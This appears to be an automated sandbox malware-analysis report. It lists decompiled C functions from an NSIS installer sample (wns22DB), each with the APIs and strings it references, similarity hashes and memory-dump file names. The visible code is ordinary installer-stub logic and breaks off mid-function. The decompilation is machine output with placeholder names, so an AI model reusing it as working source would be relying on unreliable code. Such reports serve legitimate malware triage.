					_t78 =  *(_t82 + 0x48);
					_t92 = _t78;
					if(_t78 == 0) {
						goto L16;
					}
					_t76 = 0x4601e0;
					E004062B6(_t78, _t92,  *((intOrPtr*)(_t82 + 0x44)),  *0x470298 + _t78 * 2,  *0x470298 +  *(_t82 + 0x4c) * 2, 0x4601e0, 0);
					_t63 =  *0x4601e0; // 0x45
					if(_t63 == 0) {
						goto L16;
					}
					if(_t63 == 0x22) {
						_t76 = 0x4601e2;
						 *((short*)(E00405CEA(0x4601e2, 0x22))) = 0;
					}
					_t65 = _t76 + lstrlenW(_t76) * 2 - 8;
					if(_t65 <= _t76 || lstrcmpiW(_t65, L".exe") != 0) {
						L15:
						E004063E8(0x4c5000, E00405CBD(_t76));
						goto L16;
					} else {
						_t69 = GetFileAttributesW(_t76);
						if(_t69 == 0xffffffff) {
							L14:
							E00405D09(_t76);
							goto L15;
						}
						_t98 = _t69 & 0x00000010;
						if((_t69 & 0x00000010) != 0) {
							goto L15;
						}
						goto L14;
					}
				}
			}

0x00403ade
0x00403ae7
0x00403aee
0x00403af0
0x00403b04
0x00403b16
0x00403b1f
0x00403b28
0x00403b2f
0x00403b34
0x00403b3b
0x00403b4e
0x00403b4e
0x00403b59
0x00403af2
0x00403af2
0x00403afd
0x00403afd
0x00403b5e
0x00403b71
0x00403b76
0x00403b87
0x00403c19
0x00403c21
0x00403c2a
0x00403c2a
0x00403c40
0x00403c46
0x00403c54
0x00403cd5
0x00403cdd
0x00403ce7
0x00403cec
0x00403cf2
0x00403d7c
0x00403d81
0x00403d83
0x00403d9f
0x00000000
0x00403d9f
0x00403d85
0x00403d8b
0x00403d93
0x00403d93
0x00000000
0x00403d8b
0x00403d00
0x00403d0b
0x00403d10
0x00403d12
0x00403d19
0x00403d19
0x00403d24
0x00403d2c
0x00403d2e
0x00403d30
0x00403d39
0x00403d3c
0x00403d42
0x00403d42
0x00403d61
0x00403d72
0x00000000
0x00403d77
0x00403cdf
0x00403ce1
0x00000000
0x00403c56
0x00403c56
0x00403c62
0x00403c6c
0x00403c72
0x00403c77
0x00403c86
0x00403da4
0x00403da4
0x00000000
0x00403da4
0x00403c95
0x00403cd0
0x00000000
0x00403cd0
0x00403b8d
0x00403b8d
0x00403b90
0x00403b92
0x00000000
0x00000000
0x00403ba0
0x00403bb2
0x00403bb7
0x00403bc0
0x00000000
0x00000000
0x00403bc6
0x00403bc8
0x00403bd5
0x00403bd5
0x00403bde
0x00403be4
0x00403c0c
0x00403c14
0x00000000
0x00403bf6
0x00403bf7
0x00403c00
0x00403c06
0x00403c07
0x00000000
0x00403c07
0x00403c02
0x00403c04
0x00000000
0x00000000
0x00000000
0x00403c04
0x00403be4

APIs

Part of subcall function 004067C2: GetModuleHandleA.KERNEL32(?,00000020,?,00403517,0000000A), ref: 004067D4
Part of subcall function 004067C2: GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

GetUserDefaultUILanguage.KERNELBASE(00000002,004D5000,746AFAA0,004C1000,00000000), ref: 00403AF2

Part of subcall function 0040632F: wsprintfW.USER32 ref: 0040633C

lstrcatW.KERNEL32(004D1000,00446728), ref: 00403B59
lstrlenW.KERNEL32(ExecToStack,?,?,?,ExecToStack,00000000,004C5000,004D1000,00446728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00446728,00000000,00000002,004D5000), ref: 00403BD9
lstrcmpiW.KERNEL32(?,.exe,ExecToStack,?,?,?,ExecToStack,00000000,004C5000,004D1000,00446728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00446728,00000000), ref: 00403BEC
GetFileAttributesW.KERNEL32(ExecToStack), ref: 00403BF7
LoadImageW.USER32 ref: 00403C40
RegisterClassW.USER32 ref: 00403C7D
SystemParametersInfoW.USER32 ref: 00403C95
CreateWindowExW.USER32 ref: 00403CCA
ShowWindow.USER32(00000005,00000000), ref: 00403D00
GetClassInfoW.USER32 ref: 00403D2C
GetClassInfoW.USER32 ref: 00403D39
RegisterClassW.USER32 ref: 00403D42
DialogBoxParamW.USER32 ref: 00403D61

Strings

RichEdit, xrefs: 00403D33
Control Panel\Desktop\ResourceLocale, xrefs: 00403B0C
.DEFAULT\Control Panel\International, xrefs: 00403B44
(gD, xrefs: 00403B04
RichEd32, xrefs: 00403D14
_Nb, xrefs: 00403C5C, 00403CC4
RichEdit20W, xrefs: 00403D24, 00403D2A
.exe, xrefs: 00403BE6
RichEd20, xrefs: 00403D06
ExecToStack, xrefs: 00403BA0, 00403BA9, 00403BB7, 00403C06, 00403C0C

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDefaultDialogFileHandleImageLanguageLoadModuleParamParametersProcShowSystemUserlstrcatlstrcmpilstrlenwsprintf
String ID: (gD$.DEFAULT\Control Panel\International$.exe$Control Panel\Desktop\ResourceLocale$ExecToStack$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 606308-747326481
Opcode ID: 0a001c7189d7d63785f1ec2c4194aaaeaf8e16c765d4c7e048e7af561835fdd7
Instruction ID: 53e884cc7334fa84a1d96ccc45fe83da0addadf9397a6dbc28c3941536bb6224
Opcode Fuzzy Hash: 0a001c7189d7d63785f1ec2c4194aaaeaf8e16c765d4c7e048e7af561835fdd7
Instruction Fuzzy Hash: E361D631200700BAD320AF669E49F2B3B6CEB8574AF00417FF945B22E2DB7D9D41866D

Uniqueness

Uniqueness Score: -1.00%

Function 00402F30 Relevance: 21.2, APIs: 5, Strings: 7, Instructions: 203
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 99%

			E00402F30(void* __eflags, signed int _a4) {
				long _v8;
				long _v12;
				intOrPtr _v16;
				long _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				signed int _v40;
				short _v560;
				signed int _t54;
				void* _t57;
				void* _t62;
				intOrPtr _t65;
				void* _t68;
				intOrPtr* _t70;
				intOrPtr _t71;
				signed int _t77;
				signed int _t82;
				signed int _t83;
				signed int _t89;
				intOrPtr _t92;
				signed int _t101;
				signed int _t103;
				void* _t105;
				signed int _t106;
				signed int _t109;
				void* _t110;

				_v8 = 0;
				_v12 = 0;
				 *0x470250 = GetTickCount() + 0x3e8;
				GetModuleFileNameW(0, 0x4dd000, 0x2000);
				_t105 = E00405EDE(0x4dd000, 0x80000000, 3);
				 *0x40a018 = _t105;
				if(_t105 == 0xffffffff) {
					return L"Error launching installer";
				}
				E004063E8(0x4cd000, 0x4dd000);
				E004063E8(0x4e1000, E00405D09(0x4cd000));
				_t54 = GetFileSize(_t105, 0);
				__eflags = _t54;
				 *0x42a6e0 = _t54;
				_t109 = _t54;
				if(_t54 <= 0) {
					L22:
					E00402E8E(1);
					__eflags =  *0x470258;
					if( *0x470258 == 0) {
						goto L30;
					}
					__eflags = _v12;
					if(_v12 == 0) {
						L26:
						_t57 = GlobalAlloc(0x40, _v20); // executed
						_t110 = _t57;
						E00406923(0x41e648);
						E00405F0D(0x41e648,  &_v560, 0x4d5000); // executed
						_t62 = CreateFileW( &_v560, 0xc0000000, 0, 0, 2, 0x4000100, 0); // executed
						__eflags = _t62 - 0xffffffff;
						 *0x40a01c = _t62;
						if(_t62 != 0xffffffff) {
							_t65 = E0040345D( *0x470258 + 0x1c);
							 *0x42a6e4 = _t65;
							 *0x42a6d8 = _t65 - ( !_v40 & 0x00000004) + _v16 - 0x1c; // executed
							_t68 = E004031D6(_v16, 0xffffffff, 0, _t110, _v20); // executed
							__eflags = _t68 - _v20;
							if(_t68 == _v20) {
								__eflags = _v40 & 0x00000001;
								 *0x470254 = _t110;
								 *0x47025c =  *_t110;
								if((_v40 & 0x00000001) != 0) {
									 *0x470260 =  *0x470260 + 1;
									__eflags =  *0x470260;
								}
								_t45 = _t110 + 0x44; // 0x44
								_t70 = _t45;
								_t101 = 8;
								do {
									_t70 = _t70 - 8;
									 *_t70 =  *_t70 + _t110;
									_t101 = _t101 - 1;
									__eflags = _t101;
								} while (_t101 != 0);
								_t71 =  *0x42a6d4; // 0x710ec2
								 *((intOrPtr*)(_t110 + 0x3c)) = _t71;
								E00405E99(0x470280, _t110 + 4, 0x40);
								__eflags = 0;
								return 0;
							}
							goto L30;
						}
						return L"Error writing temporary file. Make sure your temp folder is valid.";
					}
					E0040345D( *0x42a6d0);
					_t77 = E00403447( &_a4, 4);
					__eflags = _t77;
					if(_t77 == 0) {
						goto L30;
					}
					__eflags = _v8 - _a4;
					if(_v8 != _a4) {
						goto L30;
					}
					goto L26;
				} else {
					do {
						_t106 = _t109;
						asm("sbb eax, eax");
						_t82 = ( ~( *0x470258) & 0x00007e00) + 0x200;
						__eflags = _t109 - _t82;
						if(_t109 >= _t82) {
							_t106 = _t82;
						}
						_t83 = E00403447(0x42a6e8, _t106);
						__eflags = _t83;
						if(_t83 == 0) {
							E00402E8E(1);
							L30:
							return L"Installer integrity check has failed. Common causes include\nincomplete download and damaged media. Contact the\ninstaller\'s author to obtain a new copy.\n\nMore information at:\nhttp://nsis.sf.net/NSIS_Error";
						}
						__eflags =  *0x470258;
						if( *0x470258 != 0) {
							__eflags = _a4 & 0x00000002;
							if((_a4 & 0x00000002) == 0) {
								E00402E8E(0);
							}
							goto L19;
						}
						E00405E99( &_v40, 0x42a6e8, 0x1c);
						_t89 = _v40;
						__eflags = _t89 & 0xfffffff0;
						if((_t89 & 0xfffffff0) != 0) {
							goto L19;
						}
						__eflags = _v36 - 0xdeadbeef;
						if(_v36 != 0xdeadbeef) {
							goto L19;
						}
						__eflags = _v24 - 0x74736e49;
						if(_v24 != 0x74736e49) {
							goto L19;
						}
						__eflags = _v28 - 0x74666f73;
						if(_v28 != 0x74666f73) {
							goto L19;
						}
						__eflags = _v32 - 0x6c6c754e;
						if(_v32 != 0x6c6c754e) {
							goto L19;
						}
						_a4 = _a4 | _t89;
						_t103 =  *0x42a6d0; // 0x0
						 *0x470300 =  *0x470300 | _a4 & 0x00000002;
						_t92 = _v16;
						__eflags = _t92 - _t109;
						 *0x470258 = _t103;
						if(_t92 > _t109) {
							goto L30;
						}
						__eflags = _a4 & 0x00000008;
						if((_a4 & 0x00000008) != 0) {
							L15:
							_v12 = _v12 + 1;
							_t109 = _t92 - 4;
							__eflags = _t106 - _t109;
							if(_t106 > _t109) {
								_t106 = _t109;
							}
							goto L19;
						}
						__eflags = _a4 & 0x00000004;
						if((_a4 & 0x00000004) != 0) {
							goto L22;
						}
						goto L15;
						L19:
						__eflags = _t109 -  *0x42a6e0; // 0x2581b
						if(__eflags < 0) {
							_v8 = E004068B5(_v8, 0x42a6e8, _t106);
						}
						 *0x42a6d0 =  *0x42a6d0 + _t106;
						_t109 = _t109 - _t106;
						__eflags = _t109;
					} while (_t109 > 0);
					goto L22;
				}
			}

0x00402f3e
0x00402f41
0x00402f5b
0x00402f60
0x00402f73
0x00402f78
0x00402f7e
0x00000000
0x00402f80
0x00402f91
0x00402fa2
0x00402fa9
0x00402faf
0x00402fb1
0x00402fb6
0x00402fb8
0x004030a8
0x004030aa
0x004030af
0x004030b6
0x00000000
0x00000000
0x004030bc
0x004030bf
0x004030eb
0x004030f0
0x004030fb
0x004030fd
0x0040310e
0x00403129
0x0040312f
0x00403132
0x00403137
0x00403156
0x00403166
0x00403178
0x0040317d
0x00403182
0x00403185
0x0040318e
0x00403192
0x0040319a
0x0040319f
0x004031a1
0x004031a1
0x004031a1
0x004031a9
0x004031a9
0x004031ac
0x004031ad
0x004031ad
0x004031b0
0x004031b2
0x004031b2
0x004031b2
0x004031b5
0x004031bc
0x004031c8
0x004031cd
0x00000000
0x004031cd
0x00000000
0x00403185
0x00000000
0x00403139
0x004030c7
0x004030d2
0x004030d7
0x004030d9
0x00000000
0x00000000
0x004030e2
0x004030e5
0x00000000
0x00000000
0x00000000
0x00402fbe
0x00402fbe
0x00402fc3
0x00402fc7
0x00402fce
0x00402fd3
0x00402fd5
0x00402fd7
0x00402fd7
0x00402fdf
0x00402fe4
0x00402fe6
0x00403145
0x00403187
0x00000000
0x00403187
0x00402fec
0x00402ff2
0x00403072
0x00403076
0x00403079
0x0040307e
0x00000000
0x00403076
0x00402fff
0x00403004
0x00403007
0x0040300c
0x00000000
0x00000000
0x0040300e
0x00403015
0x00000000
0x00000000
0x00403017
0x0040301e
0x00000000
0x00000000
0x00403020
0x00403027
0x00000000
0x00000000
0x00403029
0x00403030
0x00000000
0x00000000
0x00403032
0x00403038
0x00403041
0x00403047
0x0040304a
0x0040304c
0x00403052
0x00000000
0x00000000
0x00403058
0x0040305c
0x00403064
0x00403064
0x00403067
0x0040306a
0x0040306c
0x0040306e
0x0040306e
0x00000000
0x0040306c
0x0040305e
0x00403062
0x00000000
0x00000000
0x00000000
0x0040307f
0x0040307f
0x00403085
0x00403095
0x00403095
0x00403098
0x0040309e
0x004030a0
0x004030a0
0x00000000
0x00402fbe

APIs

GetTickCount.KERNEL32 ref: 00402F44
GetModuleFileNameW.KERNEL32(00000000,004DD000,00002000), ref: 00402F60

Part of subcall function 00405EDE: GetFileAttributesW.KERNELBASE(00000003,00402F73,004DD000,80000000,00000003), ref: 00405EE2
Part of subcall function 00405EDE: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

GetFileSize.KERNEL32(00000000,00000000,004E1000,00000000,004CD000,004CD000,004DD000,004DD000,80000000,00000003), ref: 00402FA9
GlobalAlloc.KERNELBASE(00000040,0040A230), ref: 004030F0

Strings

Error launching installer, xrefs: 00402F80
HA, xrefs: 004030F6
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00403139
Inst, xrefs: 00403017
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403187
soft, xrefs: 00403020
Null, xrefs: 00403029

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$HA$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-3089556289
Opcode ID: e6cc7feb225d5f91d4cb60b2c7bd5eae8f554926f74471ae7b4f53b82ba7c1c2
Instruction ID: d25a53c4d11647cbbad2ea8e7a2610e0d6e301d01d0d9af5663e5c20e349ab0e
Opcode Fuzzy Hash: e6cc7feb225d5f91d4cb60b2c7bd5eae8f554926f74471ae7b4f53b82ba7c1c2
Instruction Fuzzy Hash: E8610331D01205ABDB209FA4DD85B9E7BA8AB04316F24417BF904F72D1D77C8E808B9D

Uniqueness

Uniqueness Score: -1.00%

Function 0040640A Relevance: 19.5, APIs: 7, Strings: 4, Instructions: 209
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 72%

			E0040640A(void* __ebx, void* __edi, void* __esi, signed int _a4, signed int _a8) {
				signed int _v8;
				struct _ITEMIDLIST* _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _t43;
				WCHAR* _t44;
				signed char _t46;
				signed int _t47;
				signed int _t48;
				short _t58;
				short _t60;
				short _t62;
				void* _t70;
				signed int _t76;
				void* _t82;
				signed char _t83;
				short _t86;
				signed int _t96;
				void* _t102;
				short _t103;
				signed int _t106;
				signed int _t108;
				void* _t109;
				WCHAR* _t110;
				void* _t112;

				_t109 = __esi;
				_t102 = __edi;
				_t70 = __ebx;
				_t43 = _a8;
				if(_t43 < 0) {
					_t43 =  *( *0x46821c - 4 + _t43 * 4);
				}
				_push(_t70);
				_push(_t109);
				_push(_t102);
				_t96 =  *0x470298 + _t43 * 2;
				_t44 = 0x4601e0;
				_t110 = 0x4601e0;
				if(_a4 >= 0x4601e0 && _a4 - 0x4601e0 >> 1 < 0x4000) {
					_t110 = _a4;
					_a4 = _a4 & 0x00000000;
				}
				while(1) {
					_t103 =  *_t96;
					if(_t103 == 0) {
						break;
					}
					__eflags = (_t110 - _t44 & 0xfffffffe) - 0x4000;
					if((_t110 - _t44 & 0xfffffffe) >= 0x4000) {
						break;
					}
					_t82 = 2;
					_t96 = _t96 + _t82;
					__eflags = _t103 - 4;
					_a8 = _t96;
					if(__eflags >= 0) {
						if(__eflags != 0) {
							 *_t110 = _t103;
							_t110 = _t110 + _t82;
							__eflags = _t110;
						} else {
							 *_t110 =  *_t96;
							_t110 = _t110 + _t82;
							_t96 = _t96 + _t82;
						}
						continue;
					}
					_t83 =  *((intOrPtr*)(_t96 + 1));
					_t46 =  *_t96;
					_t47 = _t46 & 0x000000ff;
					_v8 = (_t83 & 0x0000007f) << 0x00000007 | _t46 & 0x0000007f;
					_a8 = _a8 + 2;
					_v28 = _t47 | 0x00008000;
					_v24 = _t47;
					_t76 = _t83 & 0x000000ff;
					_v16 = _t76;
					__eflags = _t103 - 2;
					_v20 = _t76 | 0x00008000;
					if(_t103 != 2) {
						__eflags = _t103 - 3;
						if(_t103 != 3) {
							__eflags = _t103 - 1;
							if(_t103 == 1) {
								__eflags = (_t47 | 0xffffffff) - _v8;
								E0040640A(_t76, _t103, _t110, _t110, (_t47 | 0xffffffff) - _v8);
							}
							L43:
							_t48 = lstrlenW(_t110);
							_t96 = _a8;
							_t110 =  &(_t110[_t48]);
							_t44 = 0x4601e0;
							continue;
						}
						_t106 = _v8;
						__eflags = _t106 - 0x1d;
						if(_t106 != 0x1d) {
							__eflags = L"start OK\r\n" + (_t106 << 0xe);
							E004063E8(_t110, L"start OK\r\n" + (_t106 << 0xe));
						} else {
							E0040632F(_t110,  *0x470248);
						}
						__eflags = _t106 + 0xffffffeb - 7;
						if(_t106 + 0xffffffeb < 7) {
							L34:
							E0040667C(_t110);
						}
						goto L43;
					}
					_t86 =  *0x47024c;
					__eflags = _t86;
					_t108 = 2;
					if(_t86 >= 0) {
						L13:
						_v8 = 1;
						L14:
						__eflags =  *0x4702e4;
						if( *0x4702e4 != 0) {
							_t108 = 4;
						}
						__eflags = _t47;
						if(__eflags >= 0) {
							__eflags = _t47 - 0x25;
							if(_t47 != 0x25) {
								__eflags = _t47 - 0x24;
								if(_t47 == 0x24) {
									GetWindowsDirectoryW(_t110, 0x2000);
									_t108 = 0;
								}
								while(1) {
									__eflags = _t108;
									if(_t108 == 0) {
										goto L30;
									}
									_t58 =  *0x470244;
									_t108 = _t108 - 1;
									__eflags = _t58;
									if(_t58 == 0) {
										L26:
										_t60 = SHGetSpecialFolderLocation( *0x470248,  *(_t112 + _t108 * 4 - 0x18),  &_v12);
										__eflags = _t60;
										if(_t60 != 0) {
											L28:
											 *_t110 =  *_t110 & 0x00000000;
											__eflags =  *_t110;
											continue;
										}
										__imp__SHGetPathFromIDListW(_v12, _t110);
										__imp__CoTaskMemFree(_v12);
										__eflags = _t60;
										if(_t60 != 0) {
											goto L30;
										}
										goto L28;
									}
									__eflags = _v8;
									if(_v8 == 0) {
										goto L26;
									}
									_t62 =  *_t58( *0x470248,  *(_t112 + _t108 * 4 - 0x18), 0, 0, _t110);
									__eflags = _t62;
									if(_t62 == 0) {
										goto L30;
									}
									goto L26;
								}
								goto L30;
							}
							GetSystemDirectoryW(_t110, 0x2000);
							goto L30;
						} else {
							E004062B6( *0x470298, __eflags, 0x80000002, L"Software\\Microsoft\\Windows\\CurrentVersion",  *0x470298 + (_t47 & 0x0000003f) * 2, _t110, _t47 & 0x00000040); // executed
							__eflags =  *_t110;
							if( *_t110 != 0) {
								L32:
								__eflags = _t76 - 0x1a;
								if(_t76 == 0x1a) {
									lstrcatW(_t110, L"\\Microsoft\\Internet Explorer\\Quick Launch");
								}
								goto L34;
							}
							E0040640A(_t76, _t108, _t110, _t110, _t76);
							L30:
							__eflags =  *_t110;
							if( *_t110 == 0) {
								goto L34;
							}
							_t76 = _v16;
							goto L32;
						}
					}
					__eflags = _t86 - 0x5a04;
					if(_t86 == 0x5a04) {
						goto L13;
					}
					__eflags = _t76 - 0x23;
					if(_t76 == 0x23) {
						goto L13;
					}
					__eflags = _t76 - 0x2e;
					if(_t76 == 0x2e) {
						goto L13;
					} else {
						_v8 = _v8 & 0x00000000;
						goto L14;
					}
				}
				 *_t110 =  *_t110 & 0x00000000;
				if(_a4 == 0) {
					return _t44;
				}
				return E004063E8(_a4, _t44);
			}

0x0040640a
0x0040640a
0x0040640a
0x00406410
0x00406415
0x00406426
0x00406426
0x0040642e
0x0040642f
0x00406430
0x00406431
0x00406434
0x0040643c
0x0040643e
0x00406457
0x0040645a
0x0040645a
0x00406656
0x00406656
0x0040665c
0x00000000
0x00000000
0x0040646a
0x00406470
0x00000000
0x00000000
0x00406478
0x00406479
0x0040647b
0x0040647f
0x00406482
0x00406643
0x00406651
0x00406654
0x00406654
0x00406645
0x00406648
0x0040664b
0x0040664d
0x0040664d
0x00000000
0x00406643
0x00406488
0x0040648b
0x0040649a
0x004064a1
0x004064ab
0x004064af
0x004064b2
0x004064b5
0x004064ba
0x004064bf
0x004064c3
0x004064c6
0x004065e6
0x004065ea
0x0040661d
0x00406621
0x00406626
0x0040662b
0x0040662b
0x00406630
0x00406631
0x00406636
0x00406639
0x0040663c
0x00000000
0x0040663c
0x004065ec
0x004065ef
0x004065f2
0x00406607
0x0040660e
0x004065f4
0x004065fb
0x004065fb
0x00406616
0x00406619
0x004065de
0x004065df
0x004065df
0x00000000
0x00406619
0x004064cc
0x004064d4
0x004064d6
0x004064d7
0x004064f0
0x004064f0
0x004064f7
0x004064f7
0x004064fe
0x00406502
0x00406502
0x00406503
0x00406505
0x00406540
0x00406543
0x00406553
0x00406556
0x0040655e
0x00406564
0x00406564
0x004065c1
0x004065c1
0x004065c3
0x00000000
0x00000000
0x00406568
0x0040656f
0x00406570
0x00406572
0x0040658c
0x0040659a
0x004065a0
0x004065a2
0x004065bd
0x004065bd
0x004065bd
0x00000000
0x004065bd
0x004065a8
0x004065b3
0x004065b9
0x004065bb
0x00000000
0x00000000
0x00000000
0x004065bb
0x00406574
0x00406577
0x00000000
0x00000000
0x00406586
0x00406588
0x0040658a
0x00000000
0x00000000
0x00000000
0x0040658a
0x00000000
0x004065c1
0x0040654b
0x00000000
0x00406507
0x00406525
0x0040652a
0x0040652e
0x004065ce
0x004065ce
0x004065d1
0x004065d9
0x004065d9
0x00000000
0x004065d1
0x00406536
0x004065c5
0x004065c5
0x004065c9
0x00000000
0x00000000
0x004065cb
0x00000000
0x004065cb
0x00406505
0x004064d9
0x004064de
0x00000000
0x00000000
0x004064e0
0x004064e3
0x00000000
0x00000000
0x004064e5
0x004064e8
0x00000000
0x004064ea
0x004064ea
0x00000000
0x004064ea
0x004064e8
0x00406662
0x0040666d
0x00406679
0x00406679
0x00000000

APIs

GetSystemDirectoryW.KERNEL32(ExecToStack,00002000), ref: 0040654B
GetWindowsDirectoryW.KERNEL32(ExecToStack,00002000,00000000,0043E708,?,00405487,0043E708,00000000), ref: 0040655E
SHGetSpecialFolderLocation.SHELL32(00405487,00000000,00000000,0043E708,?,00405487,0043E708,00000000), ref: 0040659A
SHGetPathFromIDListW.SHELL32(00000000,ExecToStack), ref: 004065A8
CoTaskMemFree.OLE32(00000000), ref: 004065B3
lstrcatW.KERNEL32(ExecToStack,\Microsoft\Internet Explorer\Quick Launch), ref: 004065D9
lstrlenW.KERNEL32(ExecToStack,00000000,0043E708,?,00405487,0043E708,00000000), ref: 00406631

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 0040651B
\Microsoft\Internet Explorer\Quick Launch, xrefs: 004065D3
start OK, xrefs: 00406607
ExecToStack, xrefs: 00406434, 0040650F, 00406516, 0040651A, 00406534, 00406535, 0040654A, 0040655D, 00406579, 004065A4, 004065D8, 004065DE, 004065FA, 0040660D, 0040662A, 00406630, 0040663C, 0040666F

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskWindowslstrcatlstrlen
String ID: ExecToStack$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch$start OK
API String ID: 717251189-1285667439
Opcode ID: 23f28206d8b90664ce3613e71128f54d67ce4c932df2e69045dd5148352027ec
Instruction ID: 4ff03c26a92b18a500a2dba0a5346c99a5613c7aa05bf40b8fc1f2faf6c00e92
Opcode Fuzzy Hash: 23f28206d8b90664ce3613e71128f54d67ce4c932df2e69045dd5148352027ec
Instruction Fuzzy Hash: 59612271A00101ABDF209F64DD85AAE37A5AF50314F22813FE507BA2D1EB3D8EA1C75D

Uniqueness

Uniqueness Score: -1.00%

Function 0040176F Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E0040176F(FILETIME* __ebx, void* __eflags) {
				void* __edi;
				void* _t35;
				void* _t43;
				void* _t45;
				FILETIME* _t51;
				FILETIME* _t64;
				void* _t66;
				signed int _t72;
				FILETIME* _t73;
				FILETIME* _t77;
				signed int _t79;
				void* _t81;
				void* _t82;
				WCHAR* _t84;
				void* _t86;

				_t77 = __ebx;
				 *(_t86 - 8) = E00402C41(0x31);
				 *(_t86 + 8) =  *(_t86 - 0x28) & 0x00000007;
				_t35 = E00405D34( *(_t86 - 8));
				_push( *(_t86 - 8));
				_t84 = L"ExecToStack";
				if(_t35 == 0) {
					lstrcatW(E00405CBD(E004063E8(_t84, 0x4c9000)), ??);
				} else {
					E004063E8();
				}
				E0040667C(_t84);
				while(1) {
					__eflags =  *(_t86 + 8) - 3;
					if( *(_t86 + 8) >= 3) {
						_t66 = E0040672B(_t84);
						_t79 = 0;
						__eflags = _t66 - _t77;
						if(_t66 != _t77) {
							_t73 = _t66 + 0x14;
							__eflags = _t73;
							_t79 = CompareFileTime(_t73, _t86 - 0x1c);
						}
						asm("sbb eax, eax");
						_t72 =  ~(( *(_t86 + 8) + 0xfffffffd | 0x80000000) & _t79) + 1;
						__eflags = _t72;
						 *(_t86 + 8) = _t72;
					}
					__eflags =  *(_t86 + 8) - _t77;
					if( *(_t86 + 8) == _t77) {
						E00405EB9(_t84);
					}
					__eflags =  *(_t86 + 8) - 1;
					_t43 = E00405EDE(_t84, 0x40000000, (0 |  *(_t86 + 8) != 0x00000001) + 1);
					__eflags = _t43 - 0xffffffff;
					 *(_t86 - 0x30) = _t43;
					if(_t43 != 0xffffffff) {
						break;
					}
					__eflags =  *(_t86 + 8) - _t77;
					if( *(_t86 + 8) != _t77) {
						E00405450(0xffffffe2,  *(_t86 - 8));
						__eflags =  *(_t86 + 8) - 2;
						if(__eflags == 0) {
							 *((intOrPtr*)(_t86 - 4)) = 1;
						}
						L31:
						 *0x4702e8 =  *0x4702e8 +  *((intOrPtr*)(_t86 - 4));
						__eflags =  *0x4702e8;
						goto L32;
					} else {
						E004063E8(0x4125d8, _t81);
						E004063E8(_t81, _t84);
						E0040640A(_t77, _t81, _t84, 0x40e5d8,  *((intOrPtr*)(_t86 - 0x14)));
						E004063E8(_t81, 0x4125d8);
						_t64 = E00405A4E(0x40e5d8,  *(_t86 - 0x28) >> 3) - 4;
						__eflags = _t64;
						if(_t64 == 0) {
